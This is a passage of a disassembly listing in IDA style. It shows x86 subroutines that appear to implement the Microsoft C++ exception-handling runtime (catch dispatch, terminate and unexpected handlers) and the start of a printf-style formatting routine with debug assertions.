; CODE XREF: sub_422C60:loc_422D29j ; sub_422C60+10Cj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_8] add ecx, 14h mov [ebp+var_8], ecx loc_422CD1: ; CODE XREF: sub_422C60+5Dj mov edx, [ebp+var_C] cmp edx, [ebp+var_4] jnb loc_422D71 mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] cmp ecx, [eax] jl short loc_422D29 mov edx, [ebp+var_8] mov eax, [ebp+arg_14] cmp eax, [edx+4] jg short loc_422D29 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] sub edx, 1 shl edx, 4 mov eax, [ebp+var_8] mov ecx, [eax+10h] cmp dword ptr [ecx+edx+4], 0 jz short loc_422D2B mov edx, [ebp+var_8] mov eax, [edx+0Ch] sub eax, 1 shl eax, 4 mov ecx, [ebp+var_8] mov edx, [ecx+10h] mov eax, [edx+eax+4] movsx ecx, byte ptr [eax+8] test ecx, ecx jz short loc_422D2B loc_422D29: ; CODE XREF: sub_422C60+85j ; sub_422C60+90j jmp short loc_422CBF ; --------------------------------------------------------------------------- loc_422D2B: ; CODE XREF: sub_422C60+A9j ; sub_422C60+C7j push 1 mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+var_8] push ecx push 0 mov edx, [ebp+var_8] mov eax, [edx+0Ch] sub eax, 1 shl eax, 4 mov ecx, [ebp+var_8] mov edx, [ecx+10h] add edx, eax push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_422F70 add esp, 2Ch jmp loc_422CBF ; --------------------------------------------------------------------------- loc_422D71: ; CODE XREF: sub_422C60+39j ; sub_422C60+77j mov esp, ebp pop ebp retn sub_422C60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D80 proc near ; CODE XREF: sub_4229C0+1EFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jz short loc_422D9B mov ecx, [ebp+arg_0] mov edx, [ecx+4] movsx eax, byte ptr [edx+8] test eax, eax jnz short loc_422DA5 loc_422D9B: ; CODE XREF: sub_422D80+Bj mov eax, 1 jmp loc_422E32 ; --------------------------------------------------------------------------- loc_422DA5: ; CODE XREF: sub_422D80+19j mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ecx+4] cmp eax, [edx+4] jz short loc_422DD7 mov ecx, [ebp+arg_4] mov edx, [ecx+4] add edx, 8 push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] add ecx, 8 push ecx call sub_418A30 add esp, 8 test eax, eax jz short loc_422DD7 xor eax, eax jmp short loc_422E32 ; --------------------------------------------------------------------------- loc_422DD7: ; CODE XREF: sub_422D80+31j ; sub_422D80+51j mov edx, [ebp+arg_4] mov eax, [edx] and eax, 2 test eax, eax jz short loc_422DEF mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 8 test edx, edx jz short loc_422E28 loc_422DEF: ; CODE XREF: sub_422D80+61j mov eax, [ebp+arg_8] mov ecx, [eax] and ecx, 1 test ecx, ecx jz short loc_422E07 mov edx, [ebp+arg_0] mov eax, [edx] and eax, 1 test eax, eax jz short loc_422E28 loc_422E07: ; CODE XREF: sub_422D80+79j mov ecx, [ebp+arg_8] mov edx, [ecx] and edx, 2 test edx, edx jz short loc_422E1F mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 2 test ecx, ecx jz short loc_422E28 loc_422E1F: ; CODE XREF: sub_422D80+91j mov [ebp+var_4], 1 jmp short loc_422E2F ; --------------------------------------------------------------------------- loc_422E28: ; CODE XREF: sub_422D80+6Dj ; sub_422D80+85j ... mov [ebp+var_4], 0 loc_422E2F: ; CODE XREF: sub_422D80+A6j mov eax, [ebp+var_4] loc_422E32: ; CODE XREF: sub_422D80+20j ; sub_422D80+55j mov esp, ebp pop ebp retn sub_422D80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E40 proc near ; CODE XREF: .data:00418E3Ap ; sub_4228D0+4Cp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4351B8 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFECh push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] mov ecx, [eax+8] mov [ebp+var_1C], ecx loc_422E6F: ; CODE XREF: sub_422E40+BFj mov edx, [ebp+var_1C] cmp edx, [ebp+arg_C] jz loc_422F04 cmp [ebp+var_1C], 0FFFFFFFFh jle short loc_422E95 mov eax, [ebp+arg_8] mov ecx, [ebp+var_1C] cmp ecx, [eax+4] jge short loc_422E95 mov [ebp+var_20], 0 jmp short loc_422E9D ; --------------------------------------------------------------------------- loc_422E95: ; CODE XREF: sub_422E40+3Fj ; sub_422E40+4Aj call sub_423630 mov [ebp+var_20], eax loc_422E9D: ; CODE XREF: sub_422E40+53j mov [ebp+var_4], 0 mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+var_1C] cmp dword ptr [eax+ecx*8+4], 0 jz short loc_422ED0 push 103h mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_8] mov ecx, [eax+8] mov edx, [ebp+var_1C] mov eax, [ecx+edx*8+4] push eax call sub_423530 loc_422ED0: ; CODE XREF: sub_422E40+72j mov [ebp+var_4], 0FFFFFFFFh jmp short loc_422EF0 ; --------------------------------------------------------------------------- mov ecx, [ebp+var_14] push ecx call sub_422F40 add esp, 4 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 0FFFFFFFFh loc_422EF0: ; CODE XREF: sub_422E40+97j mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+var_1C] mov edx, [eax+ecx*8] mov [ebp+var_1C], edx jmp loc_422E6F ; --------------------------------------------------------------------------- loc_422F04: ; CODE XREF: sub_422E40+35j mov eax, [ebp+var_1C] cmp eax, [ebp+arg_C] jnz short loc_422F15 mov [ebp+var_24], 0 jmp short loc_422F1D ; --------------------------------------------------------------------------- loc_422F15: ; CODE XREF: sub_422E40+CAj call sub_423630 mov [ebp+var_24], eax loc_422F1D: ; CODE XREF: sub_422E40+D3j mov ecx, [ebp+arg_0] mov edx, [ebp+var_1C] mov [ecx+8], edx mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_422E40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F40 proc near ; CODE XREF: sub_422E40+9Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx] mov [ebp+var_8], eax cmp [ebp+var_8], 0E06D7363h jz short loc_422F61 jmp short loc_422F66 ; --------------------------------------------------------------------------- loc_422F61: ; CODE XREF: sub_422F40+1Dj call sub_423580 loc_422F66: ; CODE XREF: sub_422F40+1Fj xor eax, eax mov esp, ebp pop ebp retn sub_422F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F70 proc near ; CODE XREF: sub_4229C0+22Bp ; sub_422C60+104p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_18], 0 jz short loc_422F9A mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_14] push edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4231D0 add esp, 10h loc_422F9A: ; CODE XREF: sub_422F70+10j cmp [ebp+arg_24], 0 jnz short loc_422FAF mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_4] push eax call sub_418D80 jmp short loc_422FBC ; --------------------------------------------------------------------------- loc_422FAF: ; CODE XREF: sub_422F70+2Ej mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_24] push edx call sub_418D80 loc_422FBC: ; CODE XREF: sub_422F70+3Dj mov eax, [ebp+arg_1C] mov ecx, [eax] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_4] push ecx call sub_422E40 add esp, 10h mov edx, [ebp+arg_1C] mov eax, [edx+4] add eax, 1 mov ecx, [ebp+arg_4] mov [ecx+8], eax push 100h mov edx, [ebp+arg_20] push edx mov eax, [ebp+arg_14] mov ecx, [eax+0Ch] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_423030 add esp, 1Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_423023 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_8] push ecx call sub_418D10 loc_423023: ; CODE XREF: sub_422F70+A4j mov esp, ebp pop ebp retn sub_422F70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423030 proc near ; CODE XREF: sub_422F70+95p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h ; FUNCTION CHUNK AT 0042316B SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4351C8 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax mov [ebp+var_24], 0 mov ecx, [ebp+arg_4] mov edx, [ecx-4] mov [ebp+var_28], edx call sub_421920 mov eax, [eax+6Ch] mov [ebp+var_1C], eax call sub_421920 mov ecx, [eax+70h] mov [ebp+var_20], ecx call sub_421920 mov edx, [ebp+arg_0] mov [eax+6Ch], edx call sub_421920 mov ecx, [ebp+arg_8] mov [eax+70h], ecx mov [ebp+var_4], 0 mov [ebp+var_4], 1 mov edx, [ebp+arg_18] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax call sub_418E50 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], 0 jmp short loc_4230FF ; --------------------------------------------------------------------------- loc_4230CE: ; DATA XREF: .data:004351D8o mov ecx, [ebp+var_14] push ecx call sub_423180 add esp, 4 retn ; --------------------------------------------------------------------------- loc_4230DB: ; DATA XREF: .data:004351DCo mov esp, [ebp+var_18] mov [ebp+var_2C], 0 push 0FFFFFFFFh mov [ebp+var_30], 0 lea edx, [ebp+var_10] push edx call sub_419132 add esp, 8 mov eax, [ebp+var_30] jmp short loc_42316E ; --------------------------------------------------------------------------- loc_4230FF: ; CODE XREF: sub_423030+9Cj mov [ebp+var_4], 0FFFFFFFFh call sub_42310D jmp short loc_42316B sub_423030 endp ; =============== S U B R O U T I N E ======================================= sub_42310D proc near ; CODE XREF: sub_423030+D6p ; DATA XREF: .data:004351D0o mov eax, [ebp+0Ch] mov ecx, [ebp-28h] mov [eax-4], ecx call sub_421920 mov edx, [ebp-1Ch] mov [eax+6Ch], edx call sub_421920 mov ecx, [ebp-20h] mov [eax+70h], ecx mov edx, [ebp+8] cmp dword ptr [edx], 0E06D7363h jnz short locret_42316A mov eax, [ebp+8] cmp dword ptr [eax+10h], 3 jnz short locret_42316A mov ecx, [ebp+8] cmp dword ptr [ecx+14h], 19930520h jnz short locret_42316A cmp dword ptr [ebp-24h], 0 jnz short locret_42316A cmp dword ptr [ebp-2Ch], 0 jz short locret_42316A call sub_41919A push eax mov edx, [ebp+8] push edx call sub_423450 add esp, 8 locret_42316A: ; CODE XREF: sub_42310D+28j ; sub_42310D+31j ... retn sub_42310D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423030 loc_42316B: ; CODE XREF: sub_423030+DBj mov eax, [ebp+var_2C] loc_42316E: ; CODE XREF: sub_423030+CDj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_423030 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423180 proc near ; CODE XREF: sub_423030+A2p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] cmp dword ptr [edx], 0E06D7363h jnz short loc_4231BC mov eax, [ebp+var_4] cmp dword ptr [eax+10h], 3 jnz short loc_4231BC mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 19930520h jnz short loc_4231BC mov edx, [ebp+var_4] cmp dword ptr [edx+1Ch], 0 jnz short loc_4231BC mov eax, 1 jmp short loc_4231BE ; --------------------------------------------------------------------------- loc_4231BC: ; CODE XREF: sub_423180+15j ; sub_423180+1Ej ... xor eax, eax loc_4231BE: ; CODE XREF: sub_423180+3Aj mov esp, ebp pop ebp retn sub_423180 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4231D0 proc near ; CODE XREF: sub_422F70+22p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4351E0 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jz short loc_423216 mov ecx, [ebp+arg_8] mov edx, [ecx+4] movsx eax, byte ptr [edx+8] test eax, eax jz short loc_423216 mov ecx, [ebp+arg_8] cmp dword ptr [ecx+8], 0 jnz short loc_42321B loc_423216: ; CODE XREF: sub_4231D0+2Dj ; sub_4231D0+3Bj jmp loc_42343A ; --------------------------------------------------------------------------- loc_42321B: ; CODE XREF: sub_4231D0+44j mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+arg_4] lea edx, [ecx+eax+0Ch] mov [ebp+var_1C], edx mov [ebp+var_4], 0 mov eax, [ebp+arg_8] mov ecx, [eax] and ecx, 8 test ecx, ecx jz short loc_423296 push 1 mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_42A590 add esp, 8 test eax, eax jz short loc_42328C push 1 mov ecx, [ebp+var_1C] push ecx call sub_42A5C0 add esp, 8 test eax, eax jz short loc_42328C mov edx, [ebp+var_1C] mov eax, [ebp+arg_0] mov ecx, [eax+18h] mov [edx], ecx mov edx, [ebp+arg_C] add edx, 8 push edx mov eax, [ebp+var_1C] mov ecx, [eax] push ecx call sub_4234E0 add esp, 8 mov edx, [ebp+var_1C] mov [edx], eax jmp short loc_423291 ; --------------------------------------------------------------------------- loc_42328C: ; CODE XREF: sub_4231D0+81j ; sub_4231D0+93j call sub_423630 loc_423291: ; CODE XREF: sub_4231D0+BAj jmp loc_423423 ; --------------------------------------------------------------------------- loc_423296: ; CODE XREF: sub_4231D0+6Cj mov eax, [ebp+arg_C] mov ecx, [eax] and ecx, 1 test ecx, ecx jz short loc_42331A push 1 mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_42A590 add esp, 8 test eax, eax jz short loc_423310 push 1 mov ecx, [ebp+var_1C] push ecx call sub_42A5C0 add esp, 8 test eax, eax jz short loc_423310 mov edx, [ebp+arg_C] mov eax, [edx+14h] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_419A90 add esp, 0Ch mov ecx, [ebp+arg_C] cmp dword ptr [ecx+14h], 4 jnz short loc_42330E mov edx, [ebp+var_1C] cmp dword ptr [edx], 0 jz short loc_42330E mov eax, [ebp+arg_C] add eax, 8 push eax mov ecx, [ebp+var_1C] mov edx, [ecx] push edx call sub_4234E0 add esp, 8 mov ecx, [ebp+var_1C] mov [ecx], eax loc_42330E: ; CODE XREF: sub_4231D0+11Aj ; sub_4231D0+122j jmp short loc_423315 ; --------------------------------------------------------------------------- loc_423310: ; CODE XREF: sub_4231D0+E5j ; sub_4231D0+F7j call sub_423630 loc_423315: ; CODE XREF: sub_4231D0:loc_42330Ej jmp loc_423423 ; --------------------------------------------------------------------------- loc_42331A: ; CODE XREF: sub_4231D0+D0j mov edx, [ebp+arg_C] cmp dword ptr [edx+18h], 0 jnz short loc_423380 push 1 mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_42A590 add esp, 8 test eax, eax jz short loc_423376 push 1 mov edx, [ebp+var_1C] push edx call sub_42A5C0 add esp, 8 test eax, eax jz short loc_423376 mov eax, [ebp+arg_C] mov ecx, [eax+14h] push ecx mov edx, [ebp+arg_C] add edx, 8 push edx mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_4234E0 add esp, 8 push eax mov edx, [ebp+var_1C] push edx call sub_419A90 add esp, 0Ch jmp short loc_42337B ; --------------------------------------------------------------------------- loc_423376: ; CODE XREF: sub_4231D0+166j ; sub_4231D0+178j call sub_423630 loc_42337B: ; CODE XREF: sub_4231D0+1A4j jmp loc_423423 ; --------------------------------------------------------------------------- loc_423380: ; CODE XREF: sub_4231D0+151j push 1 mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_42A590 add esp, 8 test eax, eax jz loc_42341E push 1 mov edx, [ebp+var_1C] push edx call sub_42A5C0 add esp, 8 test eax, eax jz short loc_42341E mov eax, [ebp+arg_C] mov ecx, [eax+18h] push ecx call sub_42A5F0 add esp, 4 test eax, eax jz short loc_42341E mov edx, [ebp+arg_C] mov eax, [edx] and eax, 4 test eax, eax jz short loc_4233F5 push 1 mov ecx, [ebp+arg_C] add ecx, 8 push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_4234E0 add esp, 8 push eax mov ecx, [ebp+arg_C] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_418D70 jmp short loc_42341C ; --------------------------------------------------------------------------- loc_4233F5: ; CODE XREF: sub_4231D0+1F8j mov ecx, [ebp+arg_C] add ecx, 8 push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_4234E0 add esp, 8 push eax mov ecx, [ebp+arg_C] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_418D60 loc_42341C: ; CODE XREF: sub_4231D0+223j jmp short loc_423423 ; --------------------------------------------------------------------------- loc_42341E: ; CODE XREF: sub_4231D0+1C3j ; sub_4231D0+1D9j ... call sub_423630 loc_423423: ; CODE XREF: sub_4231D0:loc_423291j ; sub_4231D0:loc_423315j ... mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42343A ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] call sub_423580 loc_42343A: ; CODE XREF: sub_4231D0:loc_423216j ; sub_4231D0+25Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4231D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423450 proc near ; CODE XREF: sub_4229C0+252p ; sub_42310D+55p var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4351F0 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp cmp [ebp+arg_0], 0 jz short loc_4234C5 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp dword ptr [ecx+4], 0 jz short loc_4234C5 mov [ebp+var_4], 0 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+4] push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_418D50 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4234C5 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_4] and eax, 0FFh neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] call sub_423580 loc_4234C5: ; CODE XREF: sub_423450+2Aj ; sub_423450+36j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423450 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234E0 proc near ; CODE XREF: sub_4231D0+ADp ; sub_4231D0+131p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] cmp dword ptr [edx+4], 0 jl short loc_42351F mov eax, [ebp+arg_4] mov ecx, [eax+4] mov edx, [ebp+arg_0] mov eax, [edx+ecx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] mov ecx, [ebp+var_4] add ecx, [eax+edx] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] add eax, [edx+4] mov [ebp+var_4], eax loc_42351F: ; CODE XREF: sub_4234E0+16j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4234E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423530 proc near ; CODE XREF: sub_418E50+4Dp ; sub_422E40+8Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_4191BD push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42356F mov ecx, 2 loc_42356F: ; CODE XREF: sub_423530+38j push ecx call sub_4191BD pop ebp pop ecx pop ebx leave retn 0Ch sub_423530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423580 proc near ; CODE XREF: sub_4229C0:loc_422C53p ; sub_422F40:loc_422F61p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004235F4 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_435200 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 call sub_421920 cmp dword ptr [eax+60h], 0 jz short loc_4235E0 mov [ebp+var_4], 1 call sub_421920 call dword ptr [eax+60h] mov [ebp+var_4], 0 jmp short loc_4235E0 ; --------------------------------------------------------------------------- loc_4235D0: ; DATA XREF: .data:00435210o mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4235D6: ; DATA XREF: .data:00435214o mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_4235E0: ; CODE XREF: sub_423580+36j ; sub_423580+4Ej mov [ebp+var_4], 0FFFFFFFFh call sub_4235EE jmp short loc_4235F4 sub_423580 endp ; =============== S U B R O U T I N E ======================================= sub_4235EE proc near ; CODE XREF: sub_423580+67p ; DATA XREF: .data:00435208o call sub_42A620 retn sub_4235EE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423580 loc_4235F4: ; CODE XREF: sub_423580+6Cj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_423580 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_421920 cmp dword ptr [eax+64h], 0 jz short loc_423626 call sub_421920 call dword ptr [eax+64h] loc_423626: ; CODE XREF: .data:0042361Cj call sub_423580 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423630 proc near ; CODE XREF: sub_419060+23p ; sub_419060:loc_4190CDp ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004236A0 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_435218 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 cmp off_447710, 0 jz short loc_42368C mov [ebp+var_4], 1 call off_447710 mov [ebp+var_4], 0 jmp short loc_42368C ; --------------------------------------------------------------------------- loc_42367C: ; DATA XREF: .data:00435228o mov eax, 1 retn ; --------------------------------------------------------------------------- loc_423682: ; DATA XREF: .data:0043522Co mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_42368C: ; CODE XREF: sub_423630+34j ; sub_423630+4Aj mov [ebp+var_4], 0FFFFFFFFh call sub_42369A jmp short loc_4236A0 sub_423630 endp ; =============== S U B R O U T I N E ======================================= sub_42369A proc near ; CODE XREF: sub_423630+63p ; DATA XREF: .data:00435220o call sub_423580 retn sub_42369A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423630 loc_4236A0: ; CODE XREF: sub_423630+68j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_423630 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4236C0 proc near ; CODE XREF: sub_419670+A2p var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = dword ptr -200h var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1F4 = dword ptr -1F4h var_1F0 = byte ptr -1F0h var_1EF = byte ptr -1EFh var_1EC = dword ptr -1ECh var_1E8 = dword ptr -1E8h var_1E4 = dword ptr -1E4h var_1E0 = dword ptr -1E0h var_1DC = dword ptr -1DCh var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = byte ptr -1D0h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_64 = byte ptr -64h var_60 = byte ptr -60h var_55 = byte ptr -55h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 224h push ebx push esi push edi loc_4236CC: ; CODE XREF: sub_4236C0+37j cmp [ebp+arg_4], 0 jnz short loc_4236F3 push offset aFormatNull ; "format != NULL" push 0 push 109h push offset dword_435230 push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_4236F3 int 3 ; Trap to Debugger loc_4236F3: ; CODE XREF: sub_4236C0+10j ; sub_4236C0+30j xor eax, eax test eax, eax jnz short loc_4236CC loc_4236F9: ; CODE XREF: sub_4236C0+64j cmp [ebp+arg_0], 0 jnz short loc_423720 push offset dword_43449C push 0 push 10Ch push offset dword_435230 push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_423720 int 3 ; Trap to Debugger loc_423720: ; CODE XREF: sub_4236C0+3Dj ; sub_4236C0+5Dj xor ecx, ecx test ecx, ecx jnz short loc_4236F9 mov [ebp+var_28], 0 movsx edx, [ebp+var_28] mov [ebp+var_20], edx mov eax, [ebp+var_20] mov [ebp+var_34], eax loc_423737: ; CODE XREF: sub_4236C0:loc_4249A5j mov ecx, 